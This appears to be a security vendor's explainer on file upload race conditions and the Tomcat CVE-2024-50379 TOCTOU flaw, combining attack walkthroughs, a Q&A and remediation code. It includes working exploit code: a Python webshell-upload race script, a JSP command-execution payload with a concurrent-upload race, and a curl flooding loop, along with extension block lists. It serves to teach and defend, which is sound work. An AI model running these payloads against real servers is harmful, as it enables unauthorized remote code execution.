Dangerous file briefly exists in a predictable location between upload and validation or deletion, allowing execution via a race window.
TL;DR
A file upload race condition occurs when a web application temporarily stores an uploaded file in a web-accessible location before completing validation or moving it to its final destination. During the interval between storage and validation/deletion, the file exists at a predictable URL. If an attacker sends requests to that URL faster than the application completes its validation, they can access or execute the file before it is processed or removed.
The vulnerability exists because most file upload implementations follow a three-step sequence: (1) receive and save the file, (2) validate it (type, content, virus scan), (3) act on the result (move to final destination or delete). Steps 1 and 2–3 are not atomic — step 1 writes to disk before the validation result is known. The gap between step 1 and step 3 is the race window.
This is classified under CWE-362 (Race Condition) and falls under OWASP A04:2021 (Insecure Design) — the upload flow's design creates a state where a dangerous file is accessible before the application has made a security decision about it. Apache Tomcat's CVE-2024-50379 is the most impactful recent example, achieving CVSS 9.8 and unauthenticated RCE through a filesystem-level TOCTOU variant of this pattern.
The classic file upload race window:
1. Client uploads shell.php to POST /upload
2. Server writes shell.php to /var/www/html/uploads/tmp/shell.php ← FILE EXISTS HERE
3. Server validates: MIME type? Extension? Virus scan?
4. Server deletes /var/www/html/uploads/tmp/shell.php ← FILE GONEBetween steps 2 and 4, https://target.com/uploads/tmp/shell.php returns the webshell. Window duration: 1ms to several seconds depending on the validation pipeline (virus scan adds 500ms–5s).
# Classic file upload race — flood GET requests during upload
import asyncio
import httpx
async def upload_race_exploit(
target: str,
upload_url: str,
expected_path: str,
webshell: bytes,
session_headers: dict
):
"""
Race: upload webshell + flood GET requests to expected path.
Window: between server save and server delete/validation.
"""
async with httpx.AsyncClient(http2=True, verify=False) as client:
# Upload and flood simultaneously
upload_task = client.post(
upload_url,
files={"file": ("shell.php", webshell, "application/x-php")},
headers=session_headers
)
# Fire 200 GET requests during the upload processing window
flood_tasks = [
client.get(f"{target}/{expected_path}", headers=session_headers)
for _ in range(200)
]
results = await asyncio.gather(upload_task, *flood_tasks, return_exceptions=True)
# Check for successful shell execution in any flood response
for r in results[1:]:
if not isinstance(r, Exception) and r.status_code == 200:
if "uid=" in r.text or "root" in r.text:
return {"rce_confirmed": True, "output": r.text[:200]}
return {"rce_confirmed": False}The Tomcat TOCTOU variant (CVE-2024-50379) is mechanically different but exploits the same upload-then-compile gap. Instead of racing a GET request against a delete, it races two uploads against Tomcat's case-insensitive extension check:
# CVE-2024-50379 — Tomcat JSP TOCTOU via concurrent uploads
async def tomcat_jsp_race(target: str, upload_url: str, cmd: str = "id"):
jsp_payload = f"""<%@ page import="java.io.*" %><%
Runtime rt = Runtime.getRuntime();
String[] commands = {{"/bin/sh", "-c", "{cmd}"}};
Process proc = rt.exec(commands);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s;
while ((s = stdInput.readLine()) != null) {{
out.println(s);
}}
%>""".encode()
async with httpx.AsyncClient(http2=True, verify=False) as client:
await client.get(target + "/")
# Race: benign .txt and weaponized .JSP to same case-insensitive path
t1 = client.post(upload_url, files={"file": ("payload.txt", b"benign", "text/plain")})
t2 = client.post(upload_url, files={"file": ("PAYLOAD.JSP", jsp_payload, "application/x-jsp")})
await asyncio.gather(t1, t2)
# Trigger JSP compilation
rce = await client.get(target + "/payload.jsp")
return rce.text| Variant | Mechanism | Race Window | CVE Reference |
|---|---|---|---|
| Upload-then-execute | Upload webshell, GET before delete | 1ms–5s | Generic (many CMS plugins) |
| TOCTOU extension check | Case-variant uploads to same path | Upload processing time | CVE-2024-50379 (Tomcat) |
| Symlink race | Replace file with symlink after stat check | Microseconds | CVE-2024-7344 (Docker) |
| Virus scan bypass | Execute during scan before delete | Scan duration (500ms–30s) | Generic AV integration |
| Archive extraction symlink | Symlink in archive extracted before path check | Extraction time | Zip Slip class |
| Multipart temp file race | Race temp file before framework cleanup | Framework-dependent | CMS upload handlers |
Virus scan bypass is the widest race window variant. Applications that run antivirus scans on uploaded files before accepting them create a window of several seconds between upload and deletion/acceptance. A webshell placed in the scan queue can be executed via GET during the scan duration.
Archive extraction symlink races (the Zip Slip class) exploit archive formats that contain symbolic links. When an archive is extracted before path traversal and symlink checks complete, a symlink pointing outside the extraction directory writes to arbitrary paths on the server.
Multipart temp file races exploit PHP, Java, and Node.js framework behavior: uploaded files are written to /tmp before the application processes them. Some frameworks expose these at predictable paths (/tmp/phpXXXXXX) that can be raced.
CVE-2024-50379 + CVE-2024-56337 — Apache Tomcat (CVSS 9.8)
JSP compilation TOCTOU on case-insensitive file systems. Concurrent upload of FILE.JSP and file.txt to the same logical path races Tomcat's extension check against the actual file content on a case-insensitive FS (Windows, macOS). The check sees .txt; the compiler processes JSP bytecode. GET /file.jsp achieves RCE with Tomcat service account privileges — unauthenticated, no prior access required.
CVE-2024-56337 was an incomplete fix: the original patch could be bypassed with alternative case permutations. Fixed definitively in Tomcat 11.0.2 / 10.1.34 / 9.0.98. Both CVEs maintain CVSS 9.8.
CVE-2024-7344 — Docker Buildkit Symlink TOCTOU (CVSS 7.0)
Docker's BuildKit executor checks whether a build context path points to a regular file before processing. An attacker with access to the build context can race a symlink creation against the check, causing the build step to follow the symlink and access files outside the intended build context. Used as a container escape vector in Docker-in-Docker environments where the container has write access to the build context.
Classic CMS Plugin Upload Race (Generic)
WordPress, Joomla, and Drupal plugin upload handlers frequently write to webroot first, then validate. Researchers have documented race windows ranging from 5ms (simple MIME type check) to 3 seconds (AV scan integration). A webshell disguised as an image file, exploited during the scan window, achieves RCE on the CMS platform. No CVE issued for most instances as they are plugin-specific.
Zip Slip Class (Multiple CVEs)
The Zip Slip vulnerability class (identified by Snyk in 2018, still appearing in new products) allows archive entries with paths like ../../../../etc/cron.d/backdoor to write outside the extraction directory. The TOCTOU variant adds a symlink inside the archive: the extractor checks the target path, the symlink is placed, and the subsequent file write follows the symlink to an arbitrary path. Appeared in Docker, Maven, and multiple cloud build tools through 2024.
/uploads/tmp/ convention.uid=33(www-data)), the race window was hit.For Tomcat TOCTOU (CVE-2024-50379 class):
.txt file and a weaponized .JSP file with the same case-insensitive basename./filename.jsp — if it executes, the TOCTOU is confirmed.# Race-the-upload: concurrent upload + flood GET requests to predicted path
# Requires knowing or guessing the temporary path
# Step 1: Upload the file (captures the assigned path from response)
UPLOAD_RESP=$(curl -s -X POST https://target.com/upload \
-F "file=@shell.php" \
-H "Cookie: session=$SESSION")
TMP_PATH=$(echo $UPLOAD_RESP | jq -r '.tmp_path')
# Step 2: Flood the temp path during processing
for i in $(seq 1 500); do
curl -s "https://target.com/${TMP_PATH}" -H "Cookie: session=$SESSION" &
done
waitBreachVex detects file upload races through complementary techniques: fingerprinting upload endpoints, identifying write-to-webroot patterns from response headers (path disclosure in 201 Created), and racing GET requests against predicted paths. Tomcat TOCTOU detection uses concurrent HTTP/2 upload pairs with case-varying filenames.
# VULNERABLE: upload to webroot — file accessible at /uploads/tmp/shell.php
UPLOAD_DIR = "/var/www/html/uploads/tmp"
# FIXED: upload to non-web-accessible temp directory
import tempfile
import os
import shutil
from pathlib import Path
TEMP_DIR = "/tmp/uploads" # NOT inside webroot
FINAL_DIR = "/var/www/html/files" # Web-accessible final destination
async def handle_upload(file: UploadFile) -> str:
# Write to temp — NOT web-accessible
with tempfile.NamedTemporaryFile(dir=TEMP_DIR, delete=False, suffix=".tmp") as tmp:
content = await file.read()
tmp.write(content)
tmp_path = tmp.name
# Validate (MIME type, extension, virus scan, magic bytes)
if not is_safe_file(tmp_path, file.filename):
os.unlink(tmp_path)
raise HTTPException(400, "Dangerous file type rejected")
# Generate safe filename (no user-controlled components)
safe_name = f"{uuid.uuid4()}{get_safe_extension(file.filename)}"
final_path = Path(FINAL_DIR) / safe_name
# Atomic move — source temp is not web-accessible
shutil.move(tmp_path, final_path)
return str(final_path)ALLOWED_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".webp", ".pdf"}
BLOCKED_EXTENSIONS = {".php", ".jsp", ".asp", ".aspx", ".py", ".rb", ".pl", ".sh"}
# Check magic bytes before writing — do NOT rely on extension alone
import magic # python-magic
def is_safe_file(content: bytes, original_filename: str) -> bool:
# Allowlist by MIME type from magic bytes (not from extension or Content-Type header)
detected_mime = magic.from_buffer(content, mime=True)
if detected_mime not in {"image/jpeg", "image/png", "image/gif", "application/pdf"}:
return False
# Reject dual extensions (shell.php.jpg)
stem = Path(original_filename).stem
if any(stem.lower().endswith(ext) for ext in BLOCKED_EXTENSIONS):
return False
return TrueEven if a dangerous file reaches the upload directory, prevent its execution via server configuration:
# nginx — disable PHP execution in upload directories
location /uploads/ {
# No PHP-FPM pass in this location
location ~* \.php$ {
return 403;
}
# Serve only static files
add_header X-Content-Type-Options "nosniff";
}<!-- Apache — disable PHP in uploads directory -->
<Directory "/var/www/html/uploads">
php_admin_flag engine Off
Options -ExecCGI
AddType text/plain .php .php3 .phtml .pht
</Directory>Virus scanners add the largest race window (500ms–30s per file) but provide zero protection if the attacker wins the race before the scan completes. The only reliable defense is uploading to a non-web-accessible directory first. Scanning before moving is correct; scanning at the web-accessible path is the vulnerability.
A file upload race condition occurs when a web application uploads a file to a publicly accessible location, then validates or processes it in a separate step. Between upload-complete and the delete/move-out-of-webroot step, the file exists at a predictable URL. An attacker races a request to that URL during the window. If the file is a webshell (.php, .jsp, .aspx), execution occurs before deletion completes.
CVE-2024-50379 in Apache Tomcat (CVSS 9.8) exploits a filesystem TOCTOU on case-insensitive file systems. Two concurrent uploads to the same logical path — FILE.JSP (weaponized) and file.txt (benign) — create a race where Tomcat's extension check sees .txt but the JSP compilation step processes the JSP content that won the write race. The result is unauthenticated RCE via GET /file.jsp. This is distinct from the classic 'upload then race-execute' pattern — it exploits the check-then-compile sequence in Tomcat itself.
The classic file upload race: an application saves the uploaded file to a web-accessible path (e.g., /uploads/tmp/shell.php), then validates the file type, and then deletes or moves non-PHP files. Between the save and delete steps, the PHP file exists at /uploads/tmp/shell.php for 1–50ms. An attacker sends hundreds of GET /uploads/tmp/shell.php requests while the upload is in progress, eventually hitting the window and executing the webshell before deletion.
Intruder in Burp Suite Pro with a large number of threads pointing at the predicted upload path during an upload is the standard approach. The attacker fires 100–500 GET requests per second at the expected path. A 200 response with shell output confirms exploitation. For more precise timing, Turbo Intruder with Engine.BURP2 can fire the upload and the execution attempt in a single packet for maximum concurrency.
A symlink TOCTOU replaces a regular file with a symbolic link after the application checks that the path is a regular file (stat check) but before it reads the content. If the application follows the symlink, it reads the symlink target instead of the expected file. In Docker BuildKit (CVE-2024-7344), this allowed reading files outside the build context. In archive extractors, it allows writing arbitrary files on the host via a symlink in the archive.
Race window duration depends on the validation pipeline: simple MIME/extension check — 1–5ms; magic byte validation via libmagic — 5–20ms; antivirus scan (ClamAV, Defender) — 500ms–30 seconds per file; cloud-based AV API (VirusTotal, AWS Macie) — 1–15 seconds network round-trip. The AV scan window is the most exploitable: a webshell placed in a scan queue can be requested thousands of times during a 5-second ClamAV scan. For the Tomcat CVE-2024-50379 filesystem TOCTOU, the window is the JSP compilation time — typically 50–200ms on the first compile — sufficient for a single-packet HTTP/2 race.
PHP frameworks with move_uploaded_file() to webroot are the most commonly affected — the function writes directly to the destination before any validation runs. WordPress plugin upload handlers are particularly vulnerable because plugin authors override the default non-webroot temp storage. Java servlet containers (Tomcat, JBoss) on Windows/macOS are vulnerable to the CVE-2024-50379 class due to case-insensitive filesystems. Python/Flask and Django are less frequently affected because both default to writing uploads to /tmp (non-webroot) before any application handler runs, though misconfigured MEDIA_ROOT pointing to a web-accessible path introduces the vulnerability.
When an application uploads a file to webroot and queues it for antivirus scanning before deletion, the file is web-accessible during the entire scan duration. An attacker uploads a PHP webshell disguised as image.jpg and immediately begins polling GET /uploads/image.jpg at high frequency. The AV scanner processes the queue sequentially — if 50 files are ahead, the attacker has the combined scan time of all 50 files (potentially minutes) to race GET requests. On the GET that hits during the window, the server executes the PHP file and returns command output. The attacker does not need to know the exact scan timing — they simply flood requests until one succeeds.
O_NOFOLLOW is a POSIX open() flag that causes the call to fail with ELOOP if the final path component is a symbolic link. Without O_NOFOLLOW, an attacker can race a symlink replacement between the stat() check (which sees a regular file) and the open() call (which follows the symlink to an arbitrary path). With O_NOFOLLOW, the open() call fails if the path is a symlink at the moment of the call — preventing the race. In Python, this is implemented as os.open(path, os.O_RDONLY | os.O_NOFOLLOW). In Go, syscall.O_NOFOLLOW. This is the correct OS-level defense against symlink TOCTOU; application-level lstat checks are still vulnerable to the race window between lstat() and open().
No. Content-Type and Content-Disposition response headers set by the upload handler do not prevent browser-side or server-side script execution. A PHP file served with Content-Type: text/plain will still execute on the server when the URL is requested if the PHP-FPM or mod_php handler processes that path. The headers affect how the browser displays the response, not whether the server executes the file. The only defenses that prevent execution are: (1) never write dangerous file types to webroot — reject before writing or write only to non-webroot temp; (2) disable script execution in the upload directory via nginx location block or Apache <Directory> directive; (3) strip and regenerate filenames server-side so .php extensions never reach the webroot.